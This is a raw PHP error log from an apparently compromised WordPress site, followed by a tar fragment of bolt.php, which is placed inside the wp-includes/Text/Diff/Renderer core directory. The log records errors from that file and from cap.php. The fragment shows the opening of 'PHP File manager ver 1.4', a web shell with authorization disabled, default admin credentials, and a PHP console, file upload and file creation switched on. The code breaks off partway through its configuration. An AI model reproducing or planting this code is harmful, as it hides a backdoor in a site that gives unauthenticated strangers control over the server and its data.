[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
